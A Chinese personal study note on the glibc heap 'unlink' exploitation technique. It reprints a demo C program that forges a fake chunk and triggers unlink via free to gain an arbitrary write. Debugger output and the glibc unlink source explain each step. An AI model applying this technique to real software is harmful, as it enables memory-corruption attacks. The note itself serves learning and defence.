本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

参考文章:

        在此先给出几篇可供参考的文章。笔者认为几位师傅所写的都比笔者所写要来得更加精炼。倘若您通过如下几篇文章已经能够完全理解Unlink为何,那么大可以不再阅读这篇冗长的文章。

        安全客:https://www.anquanke.com/post/id/197481

        看雪:https://bbs.pediy.com/thread-224836.htm

        CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

环境与工具:

        环境:Ubuntu16.4 / gcc / (gdb)pwn-dbg

        范例:Heap Exploitation系列unlink部分(源代码将直接在下面贴出)

源代码:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
 
struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};
 
int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];
 
  // First grab two chunks (non fast)
  chunk1 = malloc(0x80);
  chunk2 = malloc(0x80);
  printf("%p\n", &chunk1);
  printf("%p\n", chunk1);
  printf("%p\n", chunk2);
 
  // Assuming attacker has control over chunk1's contents
  // Overflow the heap, override chunk2's header
 
  // First forge a fake chunk starting at chunk1
  // Need to setup fd and bk pointers to pass the unlink security check
  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
 
  // Next modify the header of chunk2 to pass all security checks
  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit
 
  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
  // This results in chunk1 pointer pointing to chunk1 - 3
  // i.e. chunk1[3] now contains chunk1 itself.
  // We then make chunk1 point to some victim's data
  free(chunk2);
  printf("%p\n", chunk1);
  printf("%p\n", chunk1[3]);
 
  chunk1[3] = (unsigned long long)data;
 
  strcpy(data, "Victim's data");
 
  // Overwrite victim's data using chunk1
  chunk1[0] = 0x002164656b636168LL;
 
  printf("%s\n", data);
 
  return 0;
}

代码调试:

        读者可以试着先行阅读一下代码,看看是否能够理解其逻辑。笔者在调试时由于对指针和寻址等相关知识的不熟练而倍感困惑,倘若读者在阅读代码过程中通畅无阻,那么这个案例便不是那么困难了。

gdb-peda$ b 20
Breakpoint 1 at 0x40067d: file test.c, line 20.
gdb-peda$ b 31
Breakpoint 2 at 0x4006db: file test.c, line 31.
gdb-peda$ b 36
Breakpoint 3 at 0x400703: file test.c, line 36.
gdb-peda$ b 44
Breakpoint 4 at 0x400731: file test.c, line 44.
gdb-peda$ run

        首先开辟三个chunk,这此我们有必要记录一下打印得到的结果:

gdb-peda$ continue
Continuing.
0x7fffffffde00    //chunk1指针地址
0x602010    //chunk1堆地址——user data
0x6020a0    //chunk2堆地址——user data

        继续continue直到第36行,查看此时的heap

0x602000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x91, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x7fffffffdde8, 
  bk_nextsize = 0x7fffffffddf0
}
0x602090 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x91, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x602120 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x411, 
  fd = 0x3061303230367830, 
  bk = 0xa30306564660a, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x602530 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20ad1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

        我们发现,chunk 1的 fd 和 bk 指针已经被指向了栈的地方。 

        先抛开这究竟是如何实现的,我们需要先了解一下

什么是Unlink:

1459 /* Take a chunk off a bin list.  */
1460 static void
1461 unlink_chunk (mstate av, mchunkptr p)
1462 {
1463   if (chunksize (p) != prev_size (next_chunk (p)))
1464     malloc_printerr ("corrupted size vs. prev_size");
1465 
1466   mchunkptr fd = p->fd;
1467   mchunkptr bk = p->bk;
1468 
1469   if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
1470     malloc_printerr ("corrupted double-linked list");
1471 
1472   fd->bk = bk;
1473   bk->fd = fd;
1474   if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
1475     {
1476       if (p->fd_nextsize->bk_nextsize != p
1477           || p->bk_nextsize->fd_nextsize != p)
1478         malloc_printerr ("corrupted double-linked list (not small)");
1479 
1480       if (fd->fd_nextsize == NULL)
1481         {
1482           if (p->fd_nextsize == p)
1483             fd->fd_nextsize = fd->bk_nextsize = fd;
1484           else
1485             {
1486               fd->fd_nextsize = p->fd_nextsize;
1487               fd->bk_nextsize = p->bk_nextsize;
1488               p->fd_nextsize->bk_nextsize = fd;
1489               p->bk_nextsize->fd_nextsize = fd;
1490             }
1491         }
1492       else
1493         {
1494           p->fd_nextsize->bk_nextsize = p->bk_nextsize;
1495           p->bk_nextsize->fd_nextsize = p->fd_nextsize;
1496         }
1497     }
1498 }

        Unlink实则为一个函数,在特定情况下被调用。函数功能为:将一个chunk从链表中摘下

        这里所说的链表,其实就是Bins结构。

        这里引用一下知世师傅的总结:

使用unlink的时机

  • malloc
    1. 在恰好大小的large chunk处取chunk时
    2. 在比请求大小大的bin中取chunk时
  • Free
    1. 后向合并,合并物理相邻低物理地址空闲chunk时
    2. 前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)
  • malloc_consolidate
    1. 后向合并,合并物理相邻低地址空闲chunk时。
    2. 前向合并,合并物理相邻高地址空闲 chunk时(top chunk除外)
  • realloc 前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)

        其具体的执行效果一言蔽之就是:(P为链表中需要被摘下的节点)

P->fd->bk = P->bk.
P->bk->fd = P->fd.

        本章我们将以Free时候发生Unlink来示范,看看堆管理器究竟在做些什么。

调试继续:

        我们查看一下两个指针的地址,并在图中标出:(不要过于纠结fake_chunk名字的意义)

gdb-peda$ p fake_chunk 
$1 = (struct chunk_structure *) 0x602010
gdb-peda$ p &fake_chunk 
$2 = (struct chunk_structure **) 0x7fffffffde10
gdb-peda$ p &chunk1 
$3 = (unsigned long long **) 0x7fffffffde00
gdb-peda$ p &data
$4 = (char (*)[20]) 0x7fffffffde20

         第32,33行的两行代码,我将其地址标注在上图中了。值得注意的是,这两个指针均为“指向chunk”的指针,即——将 &chunk1-3 &chunk1-2 视为了两个不同的chunk

Unlink安全性检查:

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

        由于这个检查,因此才有上面的伪造。

        现在,不妨跟随一下这个检查,其要求为:(P为链表中需要被摘下的节点,此处是chunk1)

P->fd->bk == P
P->bk->fd == P

         chunk1->fd=&chunk1-3,根据上面的栈表,我们可以轻松的发现:chunk1->fd->bk=602010

        对于另外一个判断也是如此。我们成功的将 栈 伪造成了两个chunk(fd和bk)来骗过了管理器。

调试继续:

         因为

  fake_chunk = (struct chunk_structure *)chunk1;

         因此,我们操作fake_chunk的fd/bk指针就是操作chunk1的对应指针,于是才有了前面给出的堆的状态。

        继续调试,从第36行到44行。

        chunk2_hdr是指向chunk2真正的开头的指针。在第二章中曾提到过,malloc返回的内容并不是真正指向chunk的开头,而是往下增加了16字节。

        第37和38行则是在伪造chunk1的状态:

        prev_size表示上一个相邻空闲块的大小(若该相邻块是被使用的,则会被占用,用来填充用户数据),第38行则将P标记位置0,表示上一个相邻块已被释放。

        至此,我们已经伪造好了chunk1的状态。当使用free(chunk2)的时候,管理器会发现chunk1是处于被释放状态的,于是将chunk2和chunk1进行合并。

Free与触发Unlink:

        当我们执行

free(chunk2);

        时候将触发Unlink,对chunk1做如下行为:

P->fd->bk = P->bk.
P->bk->fd = P->fd.

        结果是令人疑惑的,但如果按照笔者上述的逻辑,大致还是能够理顺的:(P为chunk1)

&(P->fd->bk)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-2)=0x7fffffffddf0
&(P->bk->fd)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-3)=0x7fffffffdde8

         现在我们再看chunk1与chunk[3],将得到相同的结果:

gdb-peda$ p chunk1
$16 = (unsigned long long *) 0x7fffffffdde8
gdb-peda$ p &chunk1[3]
$17 = (unsigned long long *) 0x7fffffffde00
gdb-peda$ p chunk1[3]
$18 = 0x7fffffffdde8

         "chunk1的内容和chunk1[3]相同,chunk1[3]的地址和chunk1的地址相同",乍一看相当反直觉的表述,但根据栈图还是能够理解的,继续往下:

  chunk1[3] = (unsigned long long)data;

        此时,该操作就会将chunk1的值替换为Data的指针。因此,只要我们能够操作chunk1的值,就变相的能够读写Data中的数据了

  chunk1[0] = 0x002164656b636168LL;
  printf("%s\n", data);//hacked!

关于寻址:

         说了这么多,最后是关于寻址的问题。

        上文案例中,chunk1并不在Bins中,那这个Unlink的执行会否显得有些突兀?

        从寻址的角度来说,管理器并不关心chunk1是否处于Bins中。它通过Size和Prev_Size来找到chunk1,并且由于chunk1的fd和bk指针都存在,管理器就误认为chunk1是被挂在Bins中的一个节点。也就是说,堆管理器并没有检查Bins中是否真的存在这个节点

        实际上,即使chunk1真的是Bins中的一个节点,这种寻址方式也不会有任何问题,它会顺利的摘下chunk1;只是在本例中,管理器以为自己从Bins中摘除了chunk1罢了 ​

插画ID:91110244


"The unexamined life is not worth living."